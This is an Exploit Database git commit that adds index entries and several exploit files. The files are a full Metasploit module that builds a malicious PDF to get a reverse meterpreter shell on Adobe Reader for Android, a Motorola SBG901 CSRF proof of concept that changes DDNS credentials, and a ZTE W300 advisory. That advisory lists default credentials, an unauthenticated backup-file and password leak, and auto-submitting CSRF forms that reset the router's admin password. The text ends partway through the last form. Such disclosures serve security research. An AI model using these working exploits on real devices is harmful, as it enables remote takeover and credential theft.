Updated 06_19_2014
This commit is contained in:
Offensive Security
parent
6c02d74eaa
commit
1e69d1cd2d
17 changed files with 1700 additions and 0 deletions
16
files.csv
16
files.csv
|
|
@ -30438,3 +30438,19 @@ id,file,description,date,author,platform,type,port
|
|||
33786,platforms/multiple/remote/33786.txt,"Cafu 9.06 - Multiple Remote Vulnerabilities",2010-03-23,"Luigi Auriemma",multiple,remote,0
|
||||
33787,platforms/php/webapps/33787.txt,"RepairShop2 index.php Prod Parameter XSS",2010-03-23,kaMtiEz,php,webapps,0
|
||||
33788,platforms/php/webapps/33788.pl,"phpAuthent 0.2.1 'useradd.php' Multiple HTML Injection Vulnerabilities",2010-03-23,Yoyahack,php,webapps,0
|
||||
33789,platforms/multiple/remote/33789.rb,"Java Debug Wire Protocol Remote Code Execution",2014-06-17,metasploit,multiple,remote,8000
|
||||
33790,platforms/windows/remote/33790.rb,"Easy File Management Web Server Stack Buffer Overflow",2014-06-17,metasploit,windows,remote,80
|
||||
33791,platforms/arm/local/33791.rb,"Adobe Reader for Android addJavascriptInterface Exploit",2014-06-17,metasploit,arm,local,0
|
||||
33792,platforms/hardware/webapps/33792.txt,"Motorola SBG901 Wireless Modem - CSRF Vulnerability",2014-06-17,"Blessen Thomas",hardware,webapps,0
|
||||
33793,platforms/php/webapps/33793.txt,"Kasseler CMS News Module 'id' Parameter SQL Injection Vulnerability",2010-03-23,Palyo34,php,webapps,0
|
||||
33794,platforms/php/webapps/33794.txt,"Multiple SpringSource Products Multiple HTML Injection Vulnerabilities",2010-03-23,"Aaron Kulick",php,webapps,0
|
||||
33795,platforms/php/webapps/33795.txt,"Joomla! 'com_aml_2' Component 'art' Parameter SQL Injection Vulnerability",2010-03-23,Metropolis,php,webapps,0
|
||||
33796,platforms/php/webapps/33796.txt,"Joomla! 'com_cb' Component 'cat' Parameter SQL Injection Vulnerability",2010-03-23,"DevilZ TM",php,webapps,0
|
||||
33797,platforms/php/webapps/33797.txt,"Joomla! 'com_jresearch' Component 'controller' Parameter Local File Include Vulnerability",2010-03-24,"Chip d3 bi0s",php,webapps,0
|
||||
33798,platforms/linux/remote/33798.html,"Mozilla Firefox 3.6 Image Preloading Content-Policy Check Security Bypass Vulnerability",2010-03-18,"Josh Soref",linux,remote,0
|
||||
33799,platforms/solaris/local/33799.sh,"Sun Connection Update Manager for Solaris Multiple Insecure Temporary File Creation Vulnerabilities",2010-03-24,"Larry W. Cashdollar",solaris,local,0
|
||||
33800,platforms/multiple/dos/33800.html,"Mozilla Firefox 3.6 'gfxTextRun::SanitizeGlyphRuns()' Remote Memory Corruption Vulnerability",2010-03-24,"Jesse Ruderman",multiple,dos,0
|
||||
33801,platforms/linux/dos/33801.txt,"Mozilla Firefox/Thunderbird/Seamonkey CVE-2010-0167 Multiple Memory Corruption Vulnerabilities",2010-03-24,"Bob Clary",linux,dos,0
|
||||
33802,platforms/multiple/remote/33802.txt,"Jenkins Software RakNet 3.72 - Remote Integer Underflow Vulnerability",2010-03-25,"Luigi Auriemma",multiple,remote,0
|
||||
33803,platforms/hardware/webapps/33803.txt,"ZTE WXV10 W300 - Multiple Vulnerabilities",2014-06-18,"Osanda Malith",hardware,webapps,0
|
||||
33804,platforms/windows/remote/33804.pl,"Ubisoft Rayman Legends 1.2.103716 - Remote Stack Buffer Overflow Vulnerability",2014-06-18,LiquidWorm,windows,remote,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
137
platforms/arm/local/33791.rb
Executable file
137
platforms/arm/local/33791.rb
Executable file
|
|
@ -0,0 +1,137 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/fileformat'
|
||||
require 'msf/core/exploit/pdf'
|
||||
require 'msf/core/exploit/android'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::PDF
|
||||
include Msf::Exploit::Android
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit',
|
||||
'Description' => %q{
|
||||
Adobe Reader versions less than 11.2.0 exposes insecure native
|
||||
interfaces to untrusted javascript in a PDF. This module embeds the browser
|
||||
exploit from android/webview_addjavascriptinterface into a PDF to get a
|
||||
command shell on vulnerable versions of Reader.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Yorick Koster', # discoverer
|
||||
'joev' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-0514' ],
|
||||
[ 'EDB', '32884' ],
|
||||
[ 'OSVDB', '105781' ],
|
||||
],
|
||||
'Platform' => 'android',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'android/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Android ARM', {
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_ARMLE
|
||||
}
|
||||
],
|
||||
[ 'Android MIPSLE', {
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_MIPSLE
|
||||
}
|
||||
],
|
||||
[ 'Android X86', {
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Apr 13 2014',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Generating Javascript exploit...")
|
||||
js = add_javascript_interface_exploit_js(ARCH_ARMLE)
|
||||
print_status("Creating PDF...")
|
||||
file_create(pdf(js))
|
||||
end
|
||||
|
||||
def trailer(root_obj)
|
||||
id = @xref.keys.max+1
|
||||
"trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol
|
||||
end
|
||||
|
||||
def add_compressed(n, data)
|
||||
add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data)))
|
||||
end
|
||||
|
||||
def pdf(js)
|
||||
self.eol = "\x0d"
|
||||
@xref = {}
|
||||
@pdf = header('1.6')
|
||||
|
||||
add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9")
|
||||
add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw")
|
||||
add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r")
|
||||
add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo")
|
||||
add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a")
|
||||
add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==")
|
||||
add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6")
|
||||
add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=")
|
||||
add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR")
|
||||
add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD")
|
||||
add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=")
|
||||
add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=")
|
||||
add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==")
|
||||
add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==")
|
||||
add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA")
|
||||
add_compressed(54, "eJwBzwAw/w08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE1ND4+c3RyZWFtDUiJXE7BDcIwFLv3K/IFvlatYzAG66bgYSDM2/BQa6cDXWV7gv69m7d5SEISCKGs57axjpEklDFbd/MX1GQCc3jgRMaEN2oNDSVHrMeoep358/SgXQjse9Dx5w722naW29AhTU2RQ2zLkSivJNwABQyuE0pitYGO1SLSiJbxJL0XjaDpibv76UiZ7wvI+cx/rWb1V4ABAMukNiwNZW5kc3RyZWFtDcyfYBU=")
|
||||
add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK")
|
||||
add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==")
|
||||
add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==")
|
||||
add_compressed(29, "eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=")
|
||||
add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==")
|
||||
add_compressed(30, "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")
|
||||
add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=")
|
||||
add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==")
|
||||
add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=")
|
||||
|
||||
js = Zlib::Deflate.deflate(js)
|
||||
add_object(46, "\x0d<</Filter[/FlateDecode]/Length #{js.length}>>stream\x0d#{js}\x0dendstream\x0d")
|
||||
|
||||
add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==")
|
||||
add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==")
|
||||
add_compressed(17, "eJzjtbHR90vMTS2ONjZVMFAIUjAyAFGxdna8AF4CBlg=")
|
||||
add_compressed(18, "eJzjtbHR90vMTS2ONrRUMFAIUjAyAFGxdna8AF4gBlo=")
|
||||
add_compressed(19, "eJzj1UjLzEm10tfXd67RL0nNLdDPKtYrqSjR5AUAaRoIEQ==")
|
||||
add_compressed(20, "eJzjtbHRdw7RKEmtKNEvyEnMzNPU93RRMDZVMFAI0vePNjIDMWL1g/WDA4DYU8HIECwTovHvP0MWQzGDHkMJQwVDiaZ+SLCGi5WRgaGJgbGxoaGhsampUZSmnR0vAOIUGEU=")
|
||||
add_compressed(21, "eJzjtbHRdwxVMLRUMFAI0g8J1nCxMjIwNDEwNjY0NDQ2NTWK0rSz4wUAmbEH3g==")
|
||||
add_compressed(39, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HXKz0nRd81Lzk/JzEtXMDFVMFAI0vdLzE0FqnHK1w8uTSqpLEjVDwEShmBSH2SAnR0vACeXGlQ=")
|
||||
add_compressed(47, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HfNS85PycxLVzAxVTBQCNL3S8xNBUvrB5cmlVQWpOqHAAlDMKkP0mtnxwsAqd8Y1w==")
|
||||
add_compressed(48, "eJzjtbHRd0osTnXLzyvRj0osSHPJzEtPSiwp1vdLzE0Firgk6QeXJpVUFqTqhwAJQzCpD1JuZ8cLAJhsFTA=")
|
||||
add_compressed(45, "eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ")
|
||||
add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=")
|
||||
|
||||
@xref_offset = @pdf.length
|
||||
@pdf << xref_table << trailer(25) << startxref
|
||||
|
||||
@pdf
|
||||
end
|
||||
|
||||
end
|
||||
56
platforms/hardware/webapps/33792.txt
Executable file
56
platforms/hardware/webapps/33792.txt
Executable file
|
|
@ -0,0 +1,56 @@
|
|||
Exploit Title : Motorola SBG901 Wireless Modem CSRF Vulnerability
|
||||
Google dork : N/A
|
||||
Exploit Author: Blessen Thomas
|
||||
Date : 06/01/2014
|
||||
Vendor Homepage : http://www.arrisi.com/modems/
|
||||
Software Link : N/A
|
||||
Version : Motorola SBG901 Wireless modem
|
||||
Tested on : Windows 7
|
||||
CVE : CVE-2014-3778
|
||||
Type of Application : Web application
|
||||
Release mode : Coordinated disclosure
|
||||
|
||||
Vulnerability description:
|
||||
It was observed that this modem's Web Application , is vulnerable to
|
||||
Cross-site request forgery through which attacker could manipulate user
|
||||
data via sending the victim malicious crafted url.
|
||||
|
||||
At attacker could change the username,password ,dns service and host name
|
||||
of the victim's account without the victim's knowledge.
|
||||
|
||||
Cross site request forgery
|
||||
x.x.x.x is the ip address of the modem.
|
||||
|
||||
|
||||
|
||||
<html>
|
||||
<!-- CSRF PoC --->
|
||||
<body>
|
||||
<form action="http://x.x.x.x/goform/RgDdns" method="POST">
|
||||
<input type="hidden" name="DdnsService" value="1" />
|
||||
<input type="hidden" name="DdnsUserName" value="test" />
|
||||
<input type="hidden" name="DdnsPassword" value="test" />
|
||||
<input type="hidden" name="DdnsHostName" value="test" />
|
||||
<input type="submit" value="Submit form" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
Tools used :
|
||||
Mozilla firefox browser v28.0 , Burp proxy free edition v1.5
|
||||
|
||||
Timeline:
|
||||
- 31-03-14: Contacted Vendor with details of Vulnerability and Exploit.
|
||||
- 01-04-14: Vendor ARRIS (formerly Motorola) forwards to Surfboard Gateway
|
||||
product team for review
|
||||
- 15-04-14: Vendor contacted to know the status.
|
||||
- 01-05-14 : Contacted vendor to know the status and release the advisory
|
||||
publically
|
||||
- 02-05-14: Vendor acknowledged and responded that currently no fix
|
||||
available since the product is no longer in production and due end of life
|
||||
status product
|
||||
-14-05-14: Contacted vendor the final time to release the security advisory
|
||||
publically.
|
||||
-14-05-14 : Vendor responded to release the advisory publically.
|
||||
-15-05-14: Requested CVE ID from Mitre team
|
||||
-22-05-14: CVE ID obtained
|
||||
78
platforms/hardware/webapps/33803.txt
Executable file
78
platforms/hardware/webapps/33803.txt
Executable file
|
|
@ -0,0 +1,78 @@
|
|||
# Exploit Title: ZTE WXV10 W300 Multiple Vulnerabilities
|
||||
# Date: 17-05-2014
|
||||
# Server Version: RomPager/4.07 UPnP/1.0
|
||||
# Tested Routers: ZTE ZXV10 W300
|
||||
# Firmware: W300V1.0.0a_ZRD_LK
|
||||
# ADSL Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
|
||||
# Tested on: Kali Linux x86_64
|
||||
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
|
||||
# Original write-up:https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
|
||||
|
||||
|
||||
#1| Default Password Being Used (CVE-2014-4018)
|
||||
------------------------------------------------
|
||||
In ZTE routers the username is a constant which is "admin" and the password by default is "admin"
|
||||
|
||||
#2| ROM-0 Backup File Disclosure (CVE-2014-4019)
|
||||
-------------------------------------------------
|
||||
The rom-0 backup file contains sensitive information such as the router password.
|
||||
There is a disclosure in which anyone can download that file without any authentication by a simple GET request.
|
||||
|
||||
POC:
|
||||
http://192.168.1.1/rom-0
|
||||
|
||||
You can find the router password using my rom-0 configuration decompressor.
|
||||
http://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html
|
||||
|
||||
#3| PPPoE/PPPoA Password Disclosure in tc2wanfun.js (CVE-2014-4154)
|
||||
---------------------------------------------------------------------
|
||||
If you look at the frame source in the "Internet" tab under the "Interface Setup" you can see this doLoad function in line 542 which fetches the password and displays it there. The frame URI is /basic/home_wan.htm.
|
||||
|
||||
function doLoad() {
|
||||
var value = document.forms[0].wanTypeRadio[2].checked;
|
||||
doEnable();
|
||||
QosCheck();
|
||||
WANChkIdleTimeT();
|
||||
if (value)
|
||||
pppStaticCheck();
|
||||
LockWhenPVC0();
|
||||
LockPVC();
|
||||
if(document.forms[0].wan_PPPPassword != null)
|
||||
{
|
||||
document.forms[0].wan_PPPPassword.value = pwdppp;
|
||||
}
|
||||
}
|
||||
|
||||
The "pwdpp" is loaded from an external file which you can see at the bottom of the page.
|
||||
<script language="javascript" src="/basic/tc2wanfun.js"></script>
|
||||
Once the user authenticates the router till another successful restart the password is written in that external JS file.
|
||||
|
||||
POC:
|
||||
http://192.168.1.1/basic/tc2wanfun.js
|
||||
|
||||
#4| Admin Password Manipulation CSRF (CVE-2014-4155)
|
||||
-----------------------------------------------------
|
||||
You can change the password to blank by requesting /Forms/tools_admin_1 with a GET requesting containing HTTP basic authentication.
|
||||
POC:
|
||||
<iframe src="http://192.168.1.1/Forms/tools_admin_1" width="0" height="0"></iframe>
|
||||
If you send something like above to the victim, he will be prompted for the login and once he enter his credentials, his password will be immediately changed to a blank password.
|
||||
Ofcourse since there is no XSRF token in the request you change the password as you wish.
|
||||
POC:
|
||||
<html>
|
||||
<body>
|
||||
<form name="exploit" action="http://192.168.1.1/Forms/tools_admin_1" method="POST">
|
||||
<input type="hidden" name="uiViewTools_Password" value="your_passwd" />
|
||||
<input type="hidden" name="uiViewTools_PasswordConfirm" value="your_passwd" />
|
||||
<script>document.exploit.submit(); </script>
|
||||
</form>
